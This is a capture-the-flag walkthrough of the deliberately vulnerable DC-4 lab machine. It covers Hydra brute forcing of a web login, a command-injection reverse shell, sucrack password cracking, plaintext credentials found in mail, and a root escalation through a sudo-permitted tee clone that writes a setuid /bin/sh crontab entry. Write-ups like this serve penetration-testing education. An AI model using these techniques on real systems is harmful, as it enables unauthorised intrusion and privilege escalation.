Info

Name: DC-4
Operating System: Linux
Url: http://www.five86.com/dc-4.html
Release: 26 Mar 2019
Difficulty: Beginner/Intermediate
Description: DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.

Enumeration

As always, let's start with a nmap scan to see what we're up against.

nmap -sC -sV 192.168.1.146
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-09 18:42 CEST
Nmap scan report for 192.168.1.146
Host is up (0.000078s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 00:0C:29:BF:BD:19 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Going to the web server we see the following:

After a bit of enumeration with GoBuster and Nikto I decided to try and bruteforce the login using Hydra.

root@kali:~# hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Common
Credentials/500-worst-passwords.txt 192.168.1.146 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-04-09 18:47:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 499 login tries (l:1/p:499), ~32 tries per task
[DATA] attacking http-post-form://192.168.1.146:80/login.php:username=^USER^&password=^PASS^:S=logout
[80][http-post-form] host: 192.168.1.146   login: admin   password: happy
[STATUS] attack finished for 192.168.1.146 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-04-09 18:47:47

This was a bit of trial and error, using different wordlists and success strings.
The S parameter specifies a string Hydra should see if we successfully guess the correct password.
When we successfully login to a page, we usually have a way of logging out of the page, hence why we choose the string "logout".

When we login to the webpage we are presented with a link to command.php - a file I found when enumerating with GoBuster earlier.

Visiting this page reveals we can use three different commands: ls -l, du -h and df -h.

Using Burp Suite as a proxy we can look at the request we are sending to the web server.

Initial Foothold

Looking at the request parameters, we definitely have a command injection vulnerability here.
Using the radio parameter we can probably send our own commands to the server and get a reverse shell!

URL encoding key characters of the radio parameter before forwarding the request and starting a listener on our machine gives us an initial foothold!

root@kali:~# nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.142] from (UNKNOWN) [192.168.1.146] 43420
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Looking at /home/ we see three users: charles, jim and sam. I didn't find anything of interest in charles and sam's directories.
But looking at jim's we find a backup file with all of his old passwords... Well then.

www-data@dc-4:/home/jim/backups$ head old-passwords.bak 
000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon

Based on the really, really bad passwords he's using, we can assume he also reuse some of the passwords.
We can use sucrack to bruteforce the password using the backup file as a password list!

We can download sucrack here: http://www.leidecker.info/projects/sucrack.shtml

But we can't just compile it using only ./configure and make.
Since the machine is running a 32-bit operating system we need to specify we want to compile sucrack as a 32-bit executable.

root@kali:/opt/sucrack-1.2.3# ./configure --build=i686-pc-linux-gnu "CFLAGS=-m32" "CXXFLAGS=-m32" "LDFLAGS=-m32"
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
[...]
root@kali:/opt/sucrack-1.2.3# make
make  all-recursive
make[1]: Entering directory '/opt/sucrack-1.2.3'
Making all in src
make[2]: Entering directory '/opt/sucrack-1.2.3/src'
[...]
root@kali:/opt/sucrack-1.2.3# file src/sucrack
src/sucrack: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=dbb463e7663597b02985ee82ba42573b3e291afd, not stripped

Sweet! Now we can upload sucrack to the server and start bruteforcing jim's password.

www-data@dc-4:/dev/shm$ ./sucrack -w 10 -u jim /home/jim/backups/old-passwords.bak
password is: jibril04
www-data@dc-4:/dev/shm$ su jim
Password: 
jim@dc-4:/dev/shm$

Awesome! We have now escalated to jim!

Once again we look at jim's home directory and we see a file called mbox.

jim@dc-4:~$ ls
backups  mbox  test.sh
jim@dc-4:~$ cat mbox 
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
        (envelope-from <root@dc-4>)
        id 1hCiQe-0000gc-EC
        for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

Seems like we have a mail server running? Let's check netstat.

<DIGRESSION>

jim@dc-4:~$ netstat -tulpn
bash: netstat: command not found

So, netstat is missing. Well, we don't need netstat to check if something is listening on the server.
We can just ask /proc/net/tcp nicely.

jim@dc-4:~$ cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14687 1 f62f9740 100 0 0 10 20
   1: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 13788 1 f62f8040 100 0 0 10 0
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14640 1 f62f8bc0 100 0 0 10 0
   3: 9201A8C0:A99C 8E01A8C0:0539 01 00000000:00000000 00:00000000 00000000    33        0 15248 3 f62f9180 20 4 31 10 -1

Looking at the column for local_address we can see that we have three services listening on the server (ignoring the last entry since that's our connection to the server).
I won't be decoding the ip addresses, since I know that 0x0100007F == 127.0.0.1 and 0x00000000 == 0.0.0.0.

We can however convert the ports:

jim@dc-4:~$ cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14687 1 f62f9740 100 0 0 10 20
   1: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 13788 1 f62f8040 100 0 0 10 0
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14640 1 f62f8bc0 100 0 0 10 0
   3: 9201A8C0:A99C 8E01A8C0:0539 01 00000000:00000000 00:00000000 00000000    33        0 15248 3 f62f9180 20 4 31 10 -1
jim@dc-4:~$ echo $((16#0019))
25
jim@dc-4:~$ echo $((16#0050))
80
jim@dc-4:~$ echo $((16#0016))
22

So, we have the following ports open:

  • 127.0.0.1:25
  • 0.0.0.0:80
  • 0.0.0.0:22

</DIGRESSION>

Puh, anyway, going on with the privesc we check /var/mail/jim.

jim@dc-4:~$ cat /var/mail/jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
        (envelope-from <charles@dc-4>)
        id 1hCjIX-0000kO-Qt
        for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

Sweet! We just got charles' password! Let's escalate once again!

jim@dc-4:~$ su charles
Password: 
charles@dc-4:/home/jim$ whoami;id
charles
uid=1001(charles) gid=1001(charles) groups=1001(charles)

Poking around we find out that we can use sudo.

charles@dc-4:/home/jim$ sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee

So, what is the program teehee?

charles@dc-4:/home/jim$ teehee --help
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
[...]

Okay, so teehee copies standard input to a file of our choosing? We should be able to get a root shell quite easily then.
What if we use teehee and overwrite /etc/crontab making /bin/sh a setuid binary?

If /bin/sh is symlinked to /bin/bash this won't work though, since bash automatically droppes setuid privileges. You know, for security reasons...

But checking the symlink we see that /bin/sh is symlinked to dash. Dash does not drop setuid privileges so we can exploit this to get a root shell!

charles@dc-4:/home/jim$ ls -la /bin/sh
lrwxrwxrwx 1 root root 4 Jan 24  2017 /bin/sh -> dash

Now we can overwrite /etc/crontab, make dash a setuid binary and finally get a root shell.

charles@dc-4:/home/jim$ sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh
* * * * * root chmod 4777 /bin/sh
^C
charles@dc-4:/home/jim$ ls -la /bin/dash
-rwsrwxrwx 1 root root 124492 Jan 24  2017 /bin/dash
charles@dc-4:/home/jim$ /bin/sh
# whoami;id
root
uid=1001(charles) gid=1001(charles) euid=0(root) groups=1001(charles)

And finally we can cat the flag!

# cat flag.txt



888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

Further Reading

https://labs.portcullis.co.uk/tools/sucrack/

https://unix.stackexchange.com/questions/74527/setuid-bit-seems-to-have-no-effect-on-bash

https://www.commandlinefu.com/commands/view/15313/check-open-ports-without-netstat-or-lsof

http://insidetrust.blogspot.com/2011/08/using-hydra-to-dictionary-attack-web.html